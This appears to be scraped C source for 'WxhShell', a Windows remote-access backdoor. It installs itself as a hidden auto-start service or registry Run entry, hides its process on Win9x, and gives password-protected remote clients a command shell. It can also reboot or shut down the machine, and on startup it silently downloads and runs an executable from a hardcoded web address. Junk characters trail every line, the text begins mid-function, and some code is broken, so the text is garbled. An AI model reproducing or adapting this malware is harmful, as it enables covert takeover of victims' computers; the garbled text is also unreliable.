  case 'd': { z; z'`A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FC/>L  
    if(Boot(SHUTDOWN)) A16-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u3ri6Y`  
    else { wft:eQ  
    closesocket(wsh); /Va&k4  
    ExitThread(0); P PIG?fK)  
    } J6?_?XzToT  
    break; ;74 DT  
    } d$G%F$BTs  
  // 获取shell #,|_d>p:  
  case 's': { O(WMTa'%  
    CmdShell(wsh); =kZwB*7  
    closesocket(wsh); HS|g   
    ExitThread(0); c]/O^/  
    break; tMs| UC  
  } WZy6K(18"'  
  // 退出 e]L3=R;  
  case 'x': { ]jT[dX|?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L-oPb)  
    CloseIt(wsh); |^&2zyUj/  
    break; CI3_lWax%  
    } %lq7; emtp  
  // 离开 Fw8X$SE"  
  case 'q': { tg%WVy2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5eZg+ O  
    closesocket(wsh); +'6ea+$  
    WSACleanup(); Z_ FL=S\  
    exit(1);  ~d<`L[  
    break; iLQt9Hyk  
        } HS7 G_  
  } r^ Rcjyc1  
  } =;-ju@d  
%RR|QY*  
  // 提示信息 ,`B>}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j2v[-N4 {J  
} '/]Aaf@U8  
  } d)J] Y=j  
'Q;?_,`  
  return; k=q%FlE  
} `OpC-Z&  
ObHz+qRG  
// shell模块句柄 = ,E(!Sp  
int CmdShell(SOCKET sock) _xZb;PbFE  
{ 0kr& c;~  
STARTUPINFO si; WaZ@  
ZeroMemory(&si,sizeof(si)); w<^2h}5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @'| 6lG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E/Gs',Y  
PROCESS_INFORMATION ProcessInfo; n<(5B|~y  
char cmdline[]="cmd"; Kd|l\k!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !gH.st  
  return 0; wQ/@+$>  
} /)OO)B-r  
mDt",#g  
// 自身启动模式 6"c!tJc7j  
int StartFromService(void) j$i8@]  
{ HFCFEamBMP  
typedef struct FYE9&{]h  
{ !z6/.>QJ~  
  DWORD ExitStatus; Jj _+YfIM  
  DWORD PebBaseAddress; p 7E{es|J  
  DWORD AffinityMask; n[p9$W`  
  DWORD BasePriority; VDI S`E  
  ULONG UniqueProcessId; >IydXmTy  
  ULONG InheritedFromUniqueProcessId; Spw=+z<<Ub  
}   PROCESS_BASIC_INFORMATION; P`Wf'C^h  
/r 2.j3:l  
PROCNTQSIP NtQueryInformationProcess; U~`^Y8UF  
/01(9(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (DaP~*c3cC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tNNg[;0  
Ku\#Wj|YrP  
  HANDLE             hProcess; :zy'hu;  
  PROCESS_BASIC_INFORMATION pbi; thboHPml{  
nf@u7*# 6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M/`z;a=EP  
  if(NULL == hInst ) return 0; `U>b6 {K  
,OFr]74\  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Vy*Z"k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !suiqP1\*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5v-;*  
OMC|.[  
  if (!NtQueryInformationProcess) return 0; Kpbbe r  
@<{ #v.T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wI]>0geb*  
  if(!hProcess) return 0; xI),0 db  
&7nfTc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; / {bK*A!  
Z8_gI[Zn  
  CloseHandle(hProcess); ee?M o`  
P VW9iT+c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hl~F1"q )  
if(hProcess==NULL) return 0; `-`iS?  
i(;u6Rk  
HMODULE hMod; |>V>6%>vK6  
char procName[255]; 'r <BaL  
unsigned long cbNeeded; dWWkO03 |  
!oRm.c O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D`ge3f8Wi  
=ZL}Av}  
  CloseHandle(hProcess); . zMM86c  
7I3CPc$  
if(strstr(procName,"services")) return 1; // 以服务启动 xE[tD? M{  
gQt@xNO  
  return 0; // 注册表启动 1VsEic  
} HWAqJb [  
e-av@a3  
// 主模块 fmN)~-DV9`  
int StartWxhshell(LPSTR lpCmdLine) H%%nB  
{ 0cU^ue%  
  SOCKET wsl; _NW OSt  
BOOL val=TRUE; cCCplL  
  int port=0; DLM9o3/*J  
  struct sockaddr_in door; 8-lY6M\R\  
*N+aZV}`Z  
  if(wscfg.ws_autoins) Install(); q%&7J<   
_cs9R%  
port=atoi(lpCmdLine); \r9%;?f  
QQ8W;x  
if(port<=0) port=wscfg.ws_port; #IwB  
/Day5\Q#  
  WSADATA data; {j@)sDM X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?b$zuJ]  
ZKL%rp_  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NUtyUv  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~n 9DG>a  
  door.sin_family = AF_INET; \+A<s,x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JNl+UH:.  
  door.sin_port = htons(port); 1/BMs0 =  
nU *fne?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { UL"3skV   
closesocket(wsl); ]997`,1b  
return 1; K9Fnb6J$u  
} m?`Rl6!@8\  
ea+rjvm  
  if(listen(wsl,2) == INVALID_SOCKET) { QYGxr+D  
closesocket(wsl); *s4!;2ZhsU  
return 1; mf'1.{  
} Jjq%cA  
  Wxhshell(wsl); I]$d,N!.  
  WSACleanup(); z Pc;[uHT  
.AW*7Pp`f  
return 0; 9Q1GV>j>B  
YTit=4|  
} 3%a37/|~y  
:.Sc[UI0  
// 以NT服务方式启动 kl9z;(6p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P9^h>sV  
{ =*U24B*U93  
DWORD   status = 0; @>j \~<%  
  DWORD   specificError = 0xfffffff; c[7qnSH  
dVfDS-v!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g_X7@Dt  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h)`vc#"65k  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `:4cb $  
  serviceStatus.dwWin32ExitCode     = 0; ijYLf.R<  
  serviceStatus.dwServiceSpecificExitCode = 0; yBiwYk6  
  serviceStatus.dwCheckPoint       = 0; TZ2f-KI  
  serviceStatus.dwWaitHint       = 0; UQ~rVUo.c  
F# wa)XH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z+I-3v  
  if (hServiceStatusHandle==0) return; 5al{[mi  
=SnR9In  
status = GetLastError(); &O)mPnx`  
  if (status!=NO_ERROR) w}b+vh^3Wy  
{ PEl]HI_H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7A-rF U$  
    serviceStatus.dwCheckPoint       = 0; 7mNskb|  
    serviceStatus.dwWaitHint       = 0; ^*Fkt(ida  
    serviceStatus.dwWin32ExitCode     = status; W'$~mK\  
    serviceStatus.dwServiceSpecificExitCode = specificError; `s$@6r$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6u}NI!he  
    return; 7:%K-LeaQu  
  } A-$BB=Ot  
5i?U-  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0=DawJ9  
  serviceStatus.dwCheckPoint       = 0; <H/H@xQ8G  
  serviceStatus.dwWaitHint       = 0; 5?MvO]_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <|iU+.j\  
} ')V5hKb^  
!Ua#smZ  
// 处理NT服务事件,比如:启动、停止 u<zDZ{jt)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u{,^#I}  
{ 0%/(p?]M  
switch(fdwControl) ^D|c  
{ Yw<:I&  
case SERVICE_CONTROL_STOP: i=T/}c)  
  serviceStatus.dwWin32ExitCode = 0; k5YDqG n'q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W=m_G]"L  
  serviceStatus.dwCheckPoint   = 0; Fu/CX4R_|  
  serviceStatus.dwWaitHint     = 0; ;|y,bo@sJJ  
  { \tqAv'jA|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $u sU  
  } Dn?L   
  return; jGCW^#GE  
case SERVICE_CONTROL_PAUSE: cD6o8v4] ]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =3p h:t  
  break; bJD"&h5  
case SERVICE_CONTROL_CONTINUE: HvTQycG  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WXL.D_=+  
  break; nLg7A3[1v  
case SERVICE_CONTROL_INTERROGATE: [PT_y3'%  
  break; 5sE}B8 mF  
}; vrGNiGIi[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]Y?$[+Y  
} aRmS{X3  
C*!_. <b  
// 标准应用程序主函数 .Yx. Lm}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s@|?N+z  
{ W>y_q  
KI{u:Lbi  
// 获取操作系统版本 hl+Yr)0\  
OsIsNt=GetOsVer(); 6>Y}2fT}o3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iC]}M  
v oxlo>:  
  // 从命令行安装 :jPAA`,  
  if(strpbrk(lpCmdLine,"iI")) Install(); V1G]LM  
!QovpO">z  
  // 下载执行文件 )94R\f  
if(wscfg.ws_downexe) { c#DTL/8"DO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ln.~>FO  
  WinExec(wscfg.ws_filenam,SW_HIDE); Mx }(w\\T  
} :U s-^zVr  
Ow I?(ruL'  
if(!OsIsNt) { 9[! Hz)|X  
// 如果时win9x,隐藏进程并且设置为注册表启动 rdRX  
HideProc(); /%7eo?@,  
StartWxhshell(lpCmdLine); m[pz u2R  
} WJ*DWyd''  
else ol\IT9Zb~  
  if(StartFromService()) S]>_o"|HV  
  // 以服务方式启动 ^ =ikxZyO  
  StartServiceCtrlDispatcher(DispatchTable); d<Di;5  
else w <ID<  
  // 普通方式启动 PD?H5W3@  
  StartWxhshell(lpCmdLine); lV?SvXe  
lFcCWy  
return 0; KlPH.R3MPO  
} jc<3\ 7  
Z%Gvf~u  
OW>U 5 \q  
]V_9[=%  
=========================================== f`%k@\  
pV!(#45~W  
'54@-}D  
f { ueI<  
X%dOkHarB  
4*3vZ6lhu  
" :97`IV%  
l>ttxYBa<d  
#include <stdio.h> Qi%A/~  
#include <string.h> z 4-wvn<*  
#include <windows.h> t^'1Ebg  
#include <winsock2.h> Uu(W62  
#include <winsvc.h> y^ :x2P  
#include <urlmon.h> [{ pc1U-  
!>tXib]:  
#pragma comment (lib, "Ws2_32.lib") .^uu* S_  
#pragma comment (lib, "urlmon.lib") (<CLftQKg  
~(8A&!#,!  
#define MAX_USER   100 // 最大客户端连接数 8C2t0u;Y .  
#define BUF_SOCK   200 // sock buffer s|%</fMt9  
#define KEY_BUFF   255 // 输入 buffer !EFd- fk  
;kbz(:wA  
#define REBOOT     0   // 重启 6$f,DU  
#define SHUTDOWN   1   // 关机 qr@,92_  
S:d` z'  
#define DEF_PORT   5000 // 监听端口 Q3D xjD  
8+gn Wy  
#define REG_LEN     16   // 注册表键长度 r,}Zc W+  
#define SVC_LEN     80   // NT服务名长度 Hq9(6w9w  
'Zzm'pC  
// 从dll定义API 1/n3qJyx2}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s0:1G -I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )_jO8 )jB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !CWqI)=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Cw_<t  
R[V%59#{Z  
// wxhshell配置信息 }S&{ &gh  
struct WSCFG { CUG6|qu  
  int ws_port;         // 监听端口 q8oEb  
  char ws_passstr[REG_LEN]; // 口令 1@y?OWC  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0,c z&8  
  char ws_regname[REG_LEN]; // 注册表键名 ji2#O.  
  char ws_svcname[REG_LEN]; // 服务名 oGM.{\i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #GF1MFkoS  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u4 "+u"{d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hYV{N7$U|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Cfj*[i4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `{/=i|6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z23KSPo  
yH`xk%q_  
};  84{<]y  
N 8OPeY  
// default Wxhshell configuration UY+~xzm  
struct WSCFG wscfg={DEF_PORT, /b*@dy  
    "xuhuanlingzhe", kC+A7k6  
    1, 'L,rJ =M3  
    "Wxhshell", :J"e{|g',  
    "Wxhshell", HCu1vjU(]  
            "WxhShell Service", UYPBKf]A9  
    "Wrsky Windows CmdShell Service", MMf6QxYf  
    "Please Input Your Password: ", \DHCf 4,  
  1, =nsY[ s<  
  "http://www.wrsky.com/wxhshell.exe", <7p2OPD  
  "Wxhshell.exe" \yy!?UlaI  
    }; 1w5nBVC*$V  
Ip4~qGJ  
// 消息定义模块 LP\ Qwj{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @6gz)  p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U*b SM8)L*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; HDaec`j  
char *msg_ws_ext="\n\rExit."; L}9 @kjW  
char *msg_ws_end="\n\rQuit."; c.~|)^OXXO  
char *msg_ws_boot="\n\rReboot..."; 56 )B/0=  
char *msg_ws_poff="\n\rShutdown..."; iZ:-V8{  
char *msg_ws_down="\n\rSave to "; QIw.`$H+  
aql*@8 )m  
char *msg_ws_err="\n\rErr!"; r*g _  
char *msg_ws_ok="\n\rOK!"; ;)kBJ @  
2P|-V};9  
char ExeFile[MAX_PATH]; yG_#>3sD+%  
int nUser = 0; s:_5p`w>  
HANDLE handles[MAX_USER]; J7xZo=@k  
int OsIsNt;  w&-r  
}O>IPRZ  
SERVICE_STATUS       serviceStatus; ''6"Xi|5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6?74l;  
r1\.Jz  
// 函数声明 DK- =Q~`!  
int Install(void); 48DsRy  
int Uninstall(void); N@VD-}E  
int DownloadFile(char *sURL, SOCKET wsh); 5 9X|l&/  
int Boot(int flag); -LY_7Kg  
void HideProc(void); ^TjFR*S'E  
int GetOsVer(void); pQ>V]M  
int Wxhshell(SOCKET wsl); m/ukH{H1%  
void TalkWithClient(void *cs); c{ <3\  
int CmdShell(SOCKET sock); "~;jFB8  
int StartFromService(void); r[lHYO  
int StartWxhshell(LPSTR lpCmdLine); GwvxX&P  
J h"]iN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <HD/&4$[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K{iYp4pU  
w\M_3}  
// 数据结构和表定义 q&M;rIo?  
SERVICE_TABLE_ENTRY DispatchTable[] = Vg3&:g5 /  
{ (tz! "K  
{wscfg.ws_svcname, NTServiceMain}, {tMD*?C[6  
{NULL, NULL} OY)x Kca  
}; CV6H~t'1  
e p^0Cd/  
// 自我安装 2rH6ap  
int Install(void) |N g[^  
{ 3o?Lz7L  
  char svExeFile[MAX_PATH]; "6}+|!"$  
  HKEY key; t EeMl =u  
  strcpy(svExeFile,ExeFile); +`+a9+=  
!F8 !]"*  
// 如果是win9x系统,修改注册表设为自启动 lL^7x  
if(!OsIsNt) { cnj_tC=zt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N+tS:$V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {/Cd^CK  
  RegCloseKey(key); ~)Z`Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g %Am[fb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M}vPWWcl  
  RegCloseKey(key); 4 A<c@g2  
  return 0; A gPg0(G  
    } V+8+ 17^  
  } w;_Ds  
} WS(c0c  
else { W6PGv1iaW>  
hi=U  
// 如果是NT以上系统,安装为系统服务 ?( '%QfT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7-LeJRB  
if (schSCManager!=0) Ac54 VN  
{ KYQ6U.%W  
  SC_HANDLE schService = CreateService 3l^pY18H'  
  ( V]AL'}( 0  
  schSCManager, '*k\IM{h  
  wscfg.ws_svcname, C+k>Ajr  
  wscfg.ws_svcdisp, Fzu{,b  
  SERVICE_ALL_ACCESS, ,&9|Ac?$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5(W9Jj]  
  SERVICE_AUTO_START, 3k/Mig T  
  SERVICE_ERROR_NORMAL, }8SHw|-  
  svExeFile, o]Ki+ U  
  NULL, V OX>Sl  
  NULL, P TP2QAt  
  NULL, D%A-& =  
  NULL, XVfQscZe  
  NULL Hke\W'&  
  ); b-Hn=e_  
  if (schService!=0) =VU2#O  
  { Dmw,Bi*  
  CloseServiceHandle(schService); c ~ SI"  
  CloseServiceHandle(schSCManager); g:EU\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h(L5MZs  
  strcat(svExeFile,wscfg.ws_svcname); 9+:Trc\%N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Wama>dy%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lO *Hv9#  
  RegCloseKey(key); 4L0LT>'M\  
  return 0; c"xaN  
    } pIXQ/(h31  
  } ox6rR  
  CloseServiceHandle(schSCManager); .DQ]q o]OG  
} Ojs\2('u  
} L:<'TXsRA  
ke0W?  
return 1; QKO(8D6+  
} I%Awj(9BS  
SS`C0&I@p  
// 自我卸载 nAzr!$qbNv  
int Uninstall(void) 2R!W5gs1<  
{ .>YJ9 5&\  
  HKEY key; ~I<y^]2{  
$enh45Wy  
if(!OsIsNt) { UXP;'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %c0;Bb-  
  RegDeleteValue(key,wscfg.ws_regname); 5f5ZfK3<i  
  RegCloseKey(key); OK 6}9Eu9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pr"flRQr#  
  RegDeleteValue(key,wscfg.ws_regname); 0TpA3K  
  RegCloseKey(key); 8`2K=`]ES+  
  return 0; ;W].j%]L e  
  } k-U/x"Pl  
} =N c`hP  
} ;vitg"Zh>  
else { ~iWSc8-  
93\,m+-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >MT)=4 9q  
if (schSCManager!=0) g6V*wjC  
{ <G >PPf}  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N[-)c,O  
  if (schService!=0) m%&B4E#3T  
  { 7h2bL6Y88  
  if(DeleteService(schService)!=0) { <c#[.{A}s  
  CloseServiceHandle(schService); m 5Kx}H~  
  CloseServiceHandle(schSCManager); [7V]=] p  
  return 0; AqkK`iJ#  
  } fW _.  
  CloseServiceHandle(schService); 0=B5 =qyw  
  } gISs+g  
  CloseServiceHandle(schSCManager); i'<1xd(`  
} n&]w* (,  
} m!_ghD{5h  
W=?87PkJu  
return 1; keOW{:^i  
} C)w *aU,(  
,whNh  
// 从指定url下载文件 mxGN[ %ve  
int DownloadFile(char *sURL, SOCKET wsh) V*}zwm s6  
{ m##=iB|;  
  HRESULT hr; 9:o3JGHSc  
char seps[]= "/"; `t6L'%\  
char *token; H[ q{R  
char *file; ;^]A@WN6_  
char myURL[MAX_PATH]; =HHg:"  
char myFILE[MAX_PATH]; _=5ZB_I  
v%5(-  
strcpy(myURL,sURL); (#]KjpIK  
  token=strtok(myURL,seps); @{uc  
  while(token!=NULL) #EUgb7  
  { {9 O`/|  
    file=token; G.8b\E~  
  token=strtok(NULL,seps); qS al~  
  } )v~]lk,o  
-e>)yM `i  
GetCurrentDirectory(MAX_PATH,myFILE); Z"Oa5V6[A  
strcat(myFILE, "\\"); ?W_U{=anl  
strcat(myFILE, file); @g~sgE}#  
  send(wsh,myFILE,strlen(myFILE),0); aehMLl9cl  
send(wsh,"...",3,0); `'WLGQG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #9OP.4  
  if(hr==S_OK) sjm79/  
return 0; W+?[SnHL/  
else Z > =Y  
return 1; ,6"n5Ks}  
98^6{p  
} "'Uk0>d=_I  
%SCu29km  
// 系统电源模块 Q%^bA,$&D  
int Boot(int flag) 6l'y  
{ h>0<@UP  
  HANDLE hToken; ?` i/  
  TOKEN_PRIVILEGES tkp; 3:1 c_   
u7WM6X  
  if(OsIsNt) { Hw&M2a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Bq_P?Q+\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 1o>R\g3  
    tkp.PrivilegeCount = 1; 8[;oUVb5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (B<AK4G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KTt$Pt/.  
if(flag==REBOOT) { 79H+~1Az  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (14kR  
  return 0; B}+9U  
} &Q>'U6"%  
else { nD\os[ 3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [dlH t;S  
  return 0; J|S^K kC  
} mcr#Ze  
  } "%*lE0Tx  
  else { *J5RueUG  
if(flag==REBOOT) { !#1A7[WN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X388Gs;e  
  return 0; F  t/ x 5  
} s$x] fO  
else { }TJ|d=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -i5g 8t'  
  return 0; **w~  
} y4We}/-<  
} H^;S}<pxW  
Gc z@ze  
return 1; z/k~+-6O  
} &\|<3sd(  
ok%!o+nk.  
// win9x进程隐藏模块 ;<@6f@  
void HideProc(void) A5<Z&Y[  
{  iLcadX  
{))S<_ yN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OG7v'vmY  
  if ( hKernel != NULL ) w*%$ lhp!  
  { h\*rv5\M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EZQ+HECpK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~PW}sN6ppG  
    FreeLibrary(hKernel); iCRw}[[  
  } '8kjTf#g<l  
\Rqh|T<D  
return; r5fkt>HZ  
} 3H#/u! W  
IPi<sE  
// 获取操作系统版本 ugCS &  
int GetOsVer(void) h?3l  
{ Ny,A#-?  
  OSVERSIONINFO winfo; )-KE4/G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m_02"'  
  GetVersionEx(&winfo); tO>OD#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H9Q7({v  
  return 1; uf'P9MA}>  
  else >"g<-!p@  
  return 0; 8~(+[[TQ@  
} >ydb?  
[=ak>>8  
// 客户端句柄模块 [Pwo,L,)  
int Wxhshell(SOCKET wsl) |z.GSI_!)  
{ bL],KW;Q  
  SOCKET wsh; s/vOxGc  
  struct sockaddr_in client; X#I`(iHY  
  DWORD myID; qL5#.bR  
;AGs1j  
  while(nUser<MAX_USER) 3k*:B~1  
{ U"y'Kd  
  int nSize=sizeof(client); _7.GzQJ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |;u%JW$4  
  if(wsh==INVALID_SOCKET) return 1; DT"Zq  
yb{{ z@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]VG84bFm  
if(handles[nUser]==0) z5&%T}$tJ  
  closesocket(wsh); g;#KBxE  
else 2C33;?M  
  nUser++; M|5]#2J_2  
  } JlDDM %  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >+jbMAYSq  
acYoOW1G  
  return 0; +V);'"L  
} U]!.~ji3  
xe gL!  
// 关闭 socket !E {GcK  
void CloseIt(SOCKET wsh) |Iok(0V  
{ {I9 N6BQ&  
closesocket(wsh); 7hF,gl5  
nUser--; EOPS? @  
ExitThread(0); t>6x)2,TC  
} _{*$>1q  
MpIw^a3(r  
// 客户端请求句柄 HEB/\  
void TalkWithClient(void *cs) mB^I @oZ*  
{ %V<F<  
WW [`E  
  SOCKET wsh=(SOCKET)cs; @>#{WI:"~  
  char pwd[SVC_LEN]; e8ULf~I  
  char cmd[KEY_BUFF]; o~o6S=4,}  
char chr[1]; cbu nq"  
int i,j; NM1cyZ  
C*EhexK,}  
  while (nUser < MAX_USER) { 2 ]DCF  
eN| HJ=  
if(wscfg.ws_passstr) { `b.o&t$L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qaMZfA  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3$$5Mk(&  
  //ZeroMemory(pwd,KEY_BUFF); &J;H@d||  
      i=0; !M]%8NTt2  
  while(i<SVC_LEN) { :,%J6Zh?  
o[6vxTH  
  // 设置超时 Q@e*$<3  
  fd_set FdRead; /nY).lSH  
  struct timeval TimeOut; e>,9]{N+$  
  FD_ZERO(&FdRead); RQo$iISwy  
  FD_SET(wsh,&FdRead); $d2kHT  
  TimeOut.tv_sec=8; {8{t]LK<  
  TimeOut.tv_usec=0; 8_<&f%/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); esh$*)1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u 5Eo  
z{`6#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;zZ,3pl-E  
  pwd=chr[0]; ovQS ET18b  
  if(chr[0]==0xd || chr[0]==0xa) { LZUA+x(  
  pwd=0; d DIQ+/mmg  
  break; ! v-w6WG"  
  } |C$:]MZx  
  i++; 4V228>9w  
    } = GH@.3`X  
H]tSb//qc  
  // 如果是非法用户,关闭 socket N#RD:"RS!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "GwWu-GS  
} b(|%Gbg@c  
7wiK.99  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =`]|/<=9'U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RRS~ xOg  
Mt[Bq6}ZD  
while(1) { P1 7>6)a  
;Na8 _}  
  ZeroMemory(cmd,KEY_BUFF); k1f3?l vlU  
`z3|M#r\;  
      // 自动支持客户端 telnet标准   $ DDSN  
  j=0; } g3HoFC  
  while(j<KEY_BUFF) { QmH/yy3.%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qE#&)  
  cmd[j]=chr[0]; FX|0R#4vm  
  if(chr[0]==0xa || chr[0]==0xd) { J0?$v6S  
  cmd[j]=0; Jw:Fj {D  
  break; *=$[}!YG  
  } /'&.aGW4%  
  j++; *Nv y+V  
    } k_*XJ<S!Y  
CF3E]dt  
  // 下载文件 ~@[(N]=q  
  if(strstr(cmd,"http://")) { '?{0z!!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  /,1SE(  
  if(DownloadFile(cmd,wsh)) LKR==;qn  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "xD}6(NL(r  
  else DL'd&;6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j}|N^A_ S  
  } r+p@X  
  else { d3EjI6R*z  
tSEA999  
